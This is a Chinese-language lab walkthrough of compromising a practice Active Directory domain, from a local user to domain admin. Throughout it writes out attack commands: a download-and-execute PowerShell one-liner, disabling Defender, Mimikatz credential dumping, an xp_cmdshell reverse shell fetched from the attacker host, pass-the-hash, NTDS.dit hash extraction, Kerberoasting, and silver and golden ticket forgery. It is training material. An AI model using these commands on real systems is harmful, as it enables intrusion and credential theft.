环境配置
1 | 192.168.159.10(offensive-client/win10) |
账号信息
1 | Machine Offensive-User - Alice/Password1 |
要求获取域控权限,且只能使用客户机提供的工具以及powershell,已经拥有192.168.159.10的一个用户权限,工具已经放在主机内。
Powershell基础命令
1 | powershell.exe -ep Bypass -nop -noexit -c iex ((New ObjectNet.WebClient).DownloadString(‘https://[website]/malware.ps1′)) |
在没有默认PowerShell解释器的情况下运行脚本
1 | powershell.exe –ep Bypass “& {Get-Content .\malware.ps2 | iex} |
测试域关系
1 | Get-Credential |
导入模块
1 | . .\powerview.ps1 |
禁用Windows defender命令
1 | Set-MpPreference -disablerealtimeMonitoring $true |
特权提升
域中用户的当前权限
1 | C:\> whoami |
导入PowerUp脚本以查找本地特权升级漏洞
1 | PS C:\>Powershell -ep bypass |
检查服务状态
1 | C:\>sc qc VulnService |
立即重新启动系统。
原来的Administrator为offensive\Domain Admins
,使用Write-ServiceBinary添加用户后看到Administrator权限的还加了一个offensive\Alice
。
域枚举
使用管理员权限打开Powershell并禁用Windows Defender
1 | PS C:\>Set-MpPreference -disablerealtimeMonitoring $true |
加载Mimimikatz并从lsass进程中转储凭证。
1 | PS C:\>cd C:\Users\alice\Desktop\tools\mimikatz_trunk\x64 |
导入PowerView进行域枚举。
1 | PS C:\>cd C:\Users\alice\Desktop\tools |
获取当前域和域控制器
1 | PS C:\>Get-NetDomain |
获取当前域中的用户列表
1 | PS C:\>Get-NetUser |
获取当前域中的所有组
1 | PS C:\>Get-NetGroup |
获取当前域中的计算机列表
1 | PS C:\>Get-NetComputer |
1 | PS C:\Users\Alice\Desktop\tools> Get-NetComputer | select name |
导入PowerUpSQL powershell脚本以枚举域中的sql server。
1 | PS C:\>cd C:\Users\alice\Desktop\tools\PowerUpSQL |
发现SQL 实例并检查可访问性
1 | PS C:\Users\alice\Desktop\tools\PowerUpSQL>Get-SQLInstanceDomain | Get-SQLConnectionTest |
收集有关SQL实例的信息
1 | PS C:\Users\alice\Desktop\tools\PowerUpSQL>Get-SQLServerInfo -Instance Offensive-SQL1 |
自动扫描SQL实例是否配置错误
1 | PS C:\Users\alice\Desktop\tools\PowerUpSQL>Invoke-SQLAudit -Instance Offensive-SQL1 -verbose |
管理员侦察
查找当前域中用户具有本地管理员访问权限的所有计算机。
1 | PS C:\Users\alice\Desktop\tools>Set-MpPreference -disablerealtimeMonitoring $true |
查找域管理员或指定的用户/组具有会话的计算机。
1 | PS C:\>Invoke-UserHunter -checkAccess -verbose |
横向运动
打开HeidiSQL并使用Windows身份验证连接到Offensive-SQL1服务器。执行以下查询。
1 | EXEC master..xp_cmdshell 'whoami' |
如果xp_cmdshell被禁用:
1 | EXEC sp_configure 'show advanced options',1 |
启动将连接反向shell的powercat侦听器。
1 | PS C:\>cd C:\Users\alice\Desktop\tools |
使用hfs服务器托管反向Shell。
1 | EXEC master..xp_cmdshell 'powershell "iex(New-Object Net.WebClient).DownloadString(''http://192.168.159.10/Invoke-PowerShellTcpOneLine_443.ps1'')"' |
如果上述命令不起作用,对反向外shell进行编码。
1 | PS C:\Users\alice\Desktop\tools> . .\Invoke-Encode.ps1 |
机器上的当前登录用户。
1 | PS C:\Windows\system32>whoami |
禁用Windows Defender。
1 | PS C:\Windows\system32>Set-MpPreference -disablerealtimeMonitoring $true |
从受害机器上传输Mimikatz。
1 | PS C:\Windows\system32>cd c:\ |
iwr 命令详解
Invoke-WebRequest 调用网络请求
UseBasicParsing 使用基本解析
OutFile 保存到文件
加载Mimimikatz并从lsass进程中转储凭证。
1 | PS C:\temp> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit |
Pass the Hash
在Alice(client)命令行上运行它(需要Administrators权限,当时折腾了挺久没成功)。Pass the hash
并根据哈希值生成令牌
1.获取本机用户名、口令、sid、LM hash、NTLM hash
1 | sekurlsa::logonpasswords |
2.mimikatz Pass the Hash 攻击
1 | PS C:\temp> .\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:dbadmin /domain:offensive.local /ntlm:fc525c9683e8fe067095ba2ddc971889 /run:powershell.exe" exit |
参数说明:
/domain:当前域名称
/user: dbadmin(也就是Offensive-SQL1)
/domain: 所在域
/ntlm:
dbadmin
的hash/run: 派生的命令
域管理员权限
在使用dbadmin
标记执行的Spawn 出的powershell会话。
1 | PS C:\Windows\system32> whoami |
(这里没能成功,我觉得是因为环境配置的域关系不对,使用PtH
攻击无法登录到域控,显示连接的远程服务账号或者密码错误,所以我直接登陆域控复制的NTDS.dit
文件)
排查下错误:Windows powerShell远程连接服务器
1 | 先用账户密码 试试连接成功不。反推问题 |
在offensive-SQL1
尝试使用账号密码登陆域控的时候,弹出域控不受信任,请锁屏后重新登陆的信息
,可以判定是域信任问题
1.转储Active Directory数据库(NTDS.dit 活动目录的数据库文件)。将Ninjacopy Powershell脚本托管在hfs服务器上,并将其传输到域控制器上。
1 | PS C:\Windows\system32>iwr -Uri http://192.168.159.10/Invoke-NinjaCopy.ps1 -OutFile Invoke-NinjaCopy.ps1 -UseBasicParsing |
Invoke-NinjaCopy 拷贝ntds.dit
该脚本可以打开整个卷(如C:)的读取句柄并解析 NTFS 结构,从而从一个 NTFS 卷复制文件。此操作需要目标服务器的管理员权限。利用此脚本可以绕过以下保护措施:
- 一个已被进程打开且不能被其他进程操作的文件,如 Ntds.dit 文件或注册表中的 SYSTEM hive 配置文件。
- 已被设置 SACL 标志的文件,在打开此类文件时,会有提醒(此脚本没有使用 Win32 API 打开文件,因此Windows 没有反应)。
- 绕过 DACL ,例如 DACL 只允许 SYSTEM 权限打开一个文件。
如果指定了 LocalDestination 参数,则文件将被复制到本地服务器(脚本正在从运行的服务器)中指定的文件路径。
如果指定了 RemoteDestination 参数,则该文件将被复制到远程服务器中指定的文件路径。
该脚本使用了 cyb70289 的NTFS解析代码并已发布到了 CodePlex 上进行 NTFS 结构解析。由于 NTFS 解析代码使用 C++ 编写,所以我将代码编译到了一个 DLL 中,并通过反射使用 PowerShell 的 Invoke-ReflectivePEInjection.ps1 脚本加载它。
2.保存系统文件。
1 | PS C:\Windows\system32>reg save HKLM\SYSTEM C:\Users\dbadmin\Desktop\SYS |
3.使用powershell copy-item命令在受害机器上传输ntds.dit和SYS文件。
1 | PS C:\>Copy-Item '\\dc.offensive.local\C$\Users\dbadmin\Desktop\ntds.dit' -Destination '\\Client1.offensive.local\C$\Users\alice\Desktop\tools\ntds.dit' |
4.在受害者计算机(Alice)上,执行以下命令以检索所有用户的NTLM哈希。
1 | PS C:\Users\alice\Desktop\tools>Get-BootKey -SystemHivePath 'SYS' |
Get-BootKey:从SYSTEM文件读取BootKey
Get-ADDBAccount -All -DBPath 'C:\Users\Alice\Desktop\tools\ntds.dit' -BootKey $key
获取所有账户信息
4.报错:
Get-ADDBAccount : The database is not in a clean state. Try to recover it first by running the 'esentutl /r edb /d'
5.使用Windows esentutl二进制文件修复ntds.dit文件并进行传输
1 | [dc.offensive.local]: PS C:\Users\dbadmin\Desktop>esentutl.exe /p 'C:\Users\dbadmin\Desktop\ntds.dit' /!10240 /8 /o |
6.在受害计算机上,再次执行以下命令以检索所有用户的NTLM哈希。
1 | PS C:\Users\alice\Desktop\tools>Get-ADDBAccount -All -DBPath 'C:\Users\alice\Desktop\tools\ntds.dit' -BootKey $key |
跑出所有用户hash
Kerberoasting
步骤1:在Active Directory中扫描设置了SPN值的用户帐户。
1 | PS C:\Users\alice\Desktop\tools\kerberoast\kerberoast-master>. .\GetUserSPNs.ps1 |
2.使用SPN值从AD请求服务票证
1 | PS C:\Users\alice\Desktop\tools\kerberoast\kerberoast-master>Add-Type –AssemblyName System.IdentityModel |
Add-Type
-AssemblyName
指定包含类型的程序集的名称
步骤3:将服务票证提取到内存中并保存到文件
1 | PS C:\>cd C:\Users\alice\Desktop\tools\mimikatz_trunk\x64 |
将票证复制到C:\Users\alice\Desktop\tools\kerberoast\kerberoast-master
文件夹中
4.破解Offensive-SQL1
密码
1 | PS C:\Users\alice\Desktop\tools\kerberoast\kerberoast-master>python tgsrepcrack.py pass.txt "copied-ticket-name.kirbi" |
Silver Ticket
Silver Tickets(下面称银票)就是伪造的ST(Service Ticket),因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以银票只能访问指定服务。
常用的服务名有以下:
1 | 服务名称 同时需要的服务 |
制作银票的条件:
1.域名称
2.域的SID值
3.域的服务账户的密码HASH
4.伪造的用户名,可以是任意用户名,这里是silver
利用过程
首先我们需要知道服务账户的密码HASH,这里同样拿域控来举例,通过mimikatz查看当前域账号administrator的HASH值。注意,这里使用的不是Administrator账号的HASH,而是Offensive-SQL1:1433
的HASH。SID为Alice
的SID。
1.获取本机用户名、口令、sid、LM hash、NTLM hash
1 | sekurlsa::logonpasswords |
2.使用Mimikatz命令kerberos::golden
,传递域SID,目标主机名,服务名称,服务帐户的NTLM哈希,用户名和组信息,以创建Silver Ticket
参数说明:
/domain:当前域名称
/sid:SID值,和金票一样取前面一部分
/target:目标主机,这里是Offensive-SQL1:1433
/service:服务名称,这里需要访问共享文件,所以是
MSSQLSvc
/rc4:目标主机的HASH值
/user:伪造的用户名
/ptt:表示的是Pass TheTicket攻击,是把生成的票据导入内存,也可以使用/ticket导出之后再使用
kerberos::ptt
来导入
1 | PS C:\>cd C:\Users\alice\Desktop\tools\mimikatz_trunk\x64 |
1 | mimikatz # kerberos::golden /sid:S-1-5-21-1187620287-4058297830-2395299116-1103 /domain:offensive.local /target:Offensive-SQL1:1433 /service:MSSQLSvc /rc4:fc525c9683e8fe067095ba2ddc971889 /user:idontexist /id:1103 /ptt |
3.spawn 一个会话
1 | mimikatz # misc::cmd |
4.这时通过klist
查看当前会话的kerberos票据可以看到生成的票据。
1 | klist |
或者上传mimikatz使用以下命令
1 | C:\Users\Alice\Desktop\tools\mimikatz_trunk\x64>.\mimikatz.exe |
权限维持
Golden Ticket
Golden Ticket(下面称为金票)是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。
制作金票的条件:
1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的
利用过程
1.金票的生成需要用到krbtgt
的密码HASH值,可以通过mimikatz中的
1 | lsadump::dcsync /dc.offensive.local /user:krbtgt |
2.使用Mimikatz命令kerberos::golden
,传递域名SID,域名,krbtgt帐户的NTLM哈希,用户名和组信息以创建Golden Ticket,即为伪造成功的TGT。
1 | PS C:\>cd C:\Users\alice\Desktop\tools\mimikatz_trunk\x64 |
1 | mimikatz # kerberos::golden /sid:S-1-5-21-1187620287-4058297830-2395299116 /domain:offensive.local /rc4:61d83c569b93bfcd4ca2087011361caa /user:idontexist /id:500 |
参数说明:
/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称
3.通过mimikatz中的kerberos::ptt
功能(Pass The Ticket)将ticket.kirbi
导入内存中。
1 | mimikatz # kerberos::purge |
4.spawn出命令提示符特权访问DC
1 | mimikatz # misc::cmd |
1 | c:\>dir \\dc.offensive.local\c$ |
之前有想过把环境搭在公司服务器,但是硬盘只剩下60G,所以也没能成功。从Workerstation迁移到vSphere也踩过不少坑,具体步骤参考
vmware vsphere 打开本地的虚拟机资源,workstation中的虚拟机导入到vsphere - Katios
把Workstation的虚机迁移到vSphere - Matrix_Designer的专栏
(光环境我就下了一天,我裂开了。
环境解压密码:bsidessg@2019
Machine Offensive-DC登陆密码应该是
Administrator:Password@
而环境自带的密码是Passw0rd@,当时试了好久都没登陆成功
参考:
[Powershell 提权框架-Powerup](https://wooyun.js.org/drops/Powershell 提权框架-Powerup.html)
利用Powershell快速导出域控所有用户Hash | WooYun知识库